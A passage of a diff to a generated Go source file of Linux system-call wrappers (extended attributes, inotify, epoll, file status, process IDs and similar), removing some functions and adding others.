--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getrusage(who int, rusage *Rusage) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETRUSAGE, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getsid(pid int) (sid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETSID, uintptr(pid), 0, 0)
-- sid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Gettid() (tid int) {
-- r0, _, _ := RawSyscall(SYS_GETTID, 0, 0, 0)
-- tid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getxattr(path string, attr string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(dest) > 0 {
-- _p2 = unsafe.Pointer(&dest[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_GETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(dest)), 0, 0)
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyAddWatch(fd int, pathname string, mask uint32) (watchdesc int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(pathname)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall(SYS_INOTIFY_ADD_WATCH, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(mask))
-- watchdesc = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyInit1(flags int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_INOTIFY_INIT1, uintptr(flags), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyRmWatch(fd int, watchdesc uint32) (success int, err error) {
-- r0, _, e1 := RawSyscall(SYS_INOTIFY_RM_WATCH, uintptr(fd), uintptr(watchdesc), 0)
-- success = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Kill(pid int, sig syscall.Signal) (err error) {
-- _, _, e1 := RawSyscall(SYS_KILL, uintptr(pid), uintptr(sig), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Klogctl(typ int, buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_SYSLOG, uintptr(typ), uintptr(_p0), uintptr(len(buf)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lgetxattr(path string, attr string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(dest) > 0 {
-- _p2 = unsafe.Pointer(&dest[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_LGETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(dest)), 0, 0)
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Listxattr(path string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(dest) > 0 {
-- _p1 = unsafe.Pointer(&dest[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_LISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest)))
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Llistxattr(path string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(dest) > 0 {
-- _p1 = unsafe.Pointer(&dest[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_LLISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest)))
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lremovexattr(path string, attr string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_LREMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lsetxattr(path string, attr string, data []byte, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(data) > 0 {
-- _p2 = unsafe.Pointer(&data[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_LSETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(data)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mkdirat(dirfd int, path string, mode uint32) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_MKDIRAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_MKNODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
-- _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func PivotRoot(newroot string, putold string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(newroot)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(putold)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_PIVOT_ROOT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func prlimit(pid int, resource int, newlimit *Rlimit, old *Rlimit) (err error) {
-- _, _, e1 := RawSyscall6(SYS_PRLIMIT64, uintptr(pid), uintptr(resource), uintptr(unsafe.Pointer(newlimit)), uintptr(unsafe.Pointer(old)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Prctl(option int, arg2 uintptr, arg3 uintptr, arg4 uintptr, arg5 uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PRCTL, uintptr(option), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func read(fd int, p []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Removexattr(path string, attr string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_REMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func RequestKey(keyType string, description string, callback string, destRingid int) (id int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(keyType)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(description)
-- if err != nil {
-- return
-- }
-- var _p2 *byte
-- _p2, err = BytePtrFromString(callback)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_REQUEST_KEY, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(_p2)), uintptr(destRingid), 0, 0)
-- id = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setdomainname(p []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_SETDOMAINNAME, uintptr(_p0), uintptr(len(p)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sethostname(p []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_SETHOSTNAME, uintptr(_p0), uintptr(len(p)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setpgid(pid int, pgid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETPGID, uintptr(pid), uintptr(pgid), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setsid() (pid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_SETSID, 0, 0, 0)
-- pid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Settimeofday(tv *Timeval) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setns(fd int, nstype int) (err error) {
-- _, _, e1 := Syscall(SYS_SETNS, uintptr(fd), uintptr(nstype), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setpriority(which int, who int, prio int) (err error) {
-- _, _, e1 := Syscall(SYS_SETPRIORITY, uintptr(which), uintptr(who), uintptr(prio))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setxattr(path string, attr string, data []byte, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(data) > 0 {
-- _p2 = unsafe.Pointer(&data[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_SETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(data)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sync() {
-- Syscall(SYS_SYNC, 0, 0, 0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Syncfs(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_SYNCFS, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sysinfo(info *Sysinfo_t) (err error) {
-- _, _, e1 := RawSyscall(SYS_SYSINFO, uintptr(unsafe.Pointer(info)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Tee(rfd int, wfd int, len int, flags int) (n int64, err error) {
-- r0, _, e1 := Syscall6(SYS_TEE, uintptr(rfd), uintptr(wfd), uintptr(len), uintptr(flags), 0, 0)
-- n = int64(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Tgkill(tgid int, tid int, sig syscall.Signal) (err error) {
-- _, _, e1 := RawSyscall(SYS_TGKILL, uintptr(tgid), uintptr(tid), uintptr(sig))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Times(tms *Tms) (ticks uintptr, err error) {
-- r0, _, e1 := RawSyscall(SYS_TIMES, uintptr(unsafe.Pointer(tms)), 0, 0)
-- ticks = uintptr(r0)
-+func fanotifyMark(fd int, flags uint, mask uint64, dirFd int, pathname *byte) (err error) {
-+ _, _, e1 := Syscall6(SYS_FANOTIFY_MARK, uintptr(fd), uintptr(flags), uintptr(mask), uintptr(dirFd), uintptr(unsafe.Pointer(pathname)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1286,16 +24,8 @@ func Times(tms *Tms) (ticks uintptr, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Umask(mask int) (oldmask int) {
-- r0, _, _ := RawSyscall(SYS_UMASK, uintptr(mask), 0, 0)
-- oldmask = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Uname(buf *Utsname) (err error) {
-- _, _, e1 := RawSyscall(SYS_UNAME, uintptr(unsafe.Pointer(buf)), 0, 0)
-+func Fallocate(fd int, mode uint32, off int64, len int64) (err error) {
-+ _, _, e1 := Syscall6(SYS_FALLOCATE, uintptr(fd), uintptr(mode), uintptr(off), uintptr(len), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1304,13 +34,9 @@ func Uname(buf *Utsname) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Unmount(target string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(target)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UMOUNT2, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-+func Tee(rfd int, wfd int, len int, flags int) (n int64, err error) {
-+ r0, _, e1 := Syscall6(SYS_TEE, uintptr(rfd), uintptr(wfd), uintptr(len), uintptr(flags), 0, 0)
-+ n = int64(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1319,8 +45,8 @@ func Unmount(target string, flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Unshare(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_UNSHARE, uintptr(flags), 0, 0)
-+func Dup2(oldfd int, newfd int) (err error) {
-+ _, _, e1 := Syscall(SYS_DUP2, uintptr(oldfd), uintptr(newfd), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1329,8 +55,9 @@ func Unshare(flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Ustat(dev int, ubuf *Ustat_t) (err error) {
-- _, _, e1 := Syscall(SYS_USTAT, uintptr(dev), uintptr(unsafe.Pointer(ubuf)), 0)
-+func EpollCreate(size int) (fd int, err error) {
-+ r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE, uintptr(size), 0, 0)
-+ fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1339,46 +66,14 @@ func Ustat(dev int, ubuf *Ustat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func write(fd int, p []byte) (n int, err error) {
-+func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-+ if len(events) > 0 {
-+ _p0 = unsafe.Pointer(&events[0])
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func exitThread(code int) (err error) {
-- _, _, e1 := Syscall(SYS_EXIT, uintptr(code), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func readlen(fd int, p *byte, np int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(unsafe.Pointer(p)), uintptr(np))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func writelen(fd int, p *byte, np int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(unsafe.Pointer(p)), uintptr(np))
-+ r0, _, e1 := Syscall6(SYS_EPOLL_WAIT, uintptr(epfd), uintptr(_p0), uintptr(len(events)), uintptr(msec), 0, 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1388,108 +83,8 @@ func writelen(fd int, p *byte, np int) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func munmap(addr uintptr, length uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_MUNMAP, uintptr(addr), uintptr(length), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Madvise(b []byte, advice int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MADVISE, uintptr(_p0), uintptr(len(b)), uintptr(advice))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mprotect(b []byte, prot int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MPROTECT, uintptr(_p0), uintptr(len(b)), uintptr(prot))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mlock(b []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MLOCK, uintptr(_p0), uintptr(len(b)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Munlock(b []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MUNLOCK, uintptr(_p0), uintptr(len(b)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mlockall(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_MLOCKALL, uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Msync(b []byte, flags int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MSYNC, uintptr(_p0), uintptr(len(b)), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Munlockall() (err error) {
-- _, _, e1 := Syscall(SYS_MUNLOCKALL, 0, 0, 0)
-+func Fadvise(fd int, offset int64, length int64, advice int) (err error) {
-+ _, _, e1 := Syscall6(SYS_FADVISE64, uintptr(fd), uintptr(offset), uintptr(length), uintptr(advice), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1498,15 +93,8 @@ func Munlockall() (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(events) > 0 {
-- _p0 = unsafe.Pointer(&events[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_EPOLL_WAIT, uintptr(epfd), uintptr(_p0), uintptr(len(events)), uintptr(msec), 0, 0)
-- n = int(r0)
-+func Fchown(fd int, uid int, gid int) (err error) {
-+ _, _, e1 := Syscall(SYS_FCHOWN, uintptr(fd), uintptr(uid), uintptr(gid))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1515,8 +103,8 @@ func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Dup2(oldfd int, newfd int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP2, uintptr(oldfd), uintptr(newfd), 0)
-+func Fstat(fd int, stat *Stat_t) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTAT, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1525,18 +113,13 @@ func Dup2(oldfd int, newfd int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fchown(fd int, uid int, gid int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHOWN, uintptr(fd), uintptr(uid), uintptr(gid))
-- if e1 != 0 {
-- err = errnoErr(e1)
-+func Fstatat(dirfd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fstat(fd int, stat *Stat_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTAT, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ _, _, e1 := Syscall6(SYS_NEWFSTATAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1566,7 +149,7 @@ func Ftruncate(fd int, length int64) (err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getegid() (egid int) {
-- r0, _, _ := RawSyscall(SYS_GETEGID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETEGID, 0, 0, 0)
- egid = int(r0)
- return
- }
-@@ -1574,7 +157,7 @@ func Getegid() (egid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Geteuid() (euid int) {
-- r0, _, _ := RawSyscall(SYS_GETEUID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETEUID, 0, 0, 0)
- euid = int(r0)
- return
- }
-@@ -1582,7 +165,7 @@ func Geteuid() (euid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getgid() (gid int) {
-- r0, _, _ := RawSyscall(SYS_GETGID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETGID, 0, 0, 0)
- gid = int(r0)
- return
- }
-@@ -1600,7 +183,7 @@ func Getrlimit(resource int, rlim *Rlimit) (err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getuid() (uid int) {
-- r0, _, _ := RawSyscall(SYS_GETUID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETUID, 0, 0, 0)
- uid = int(r0)
- return
- }
-@@ -1722,6 +305,26 @@ func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(oldpath)
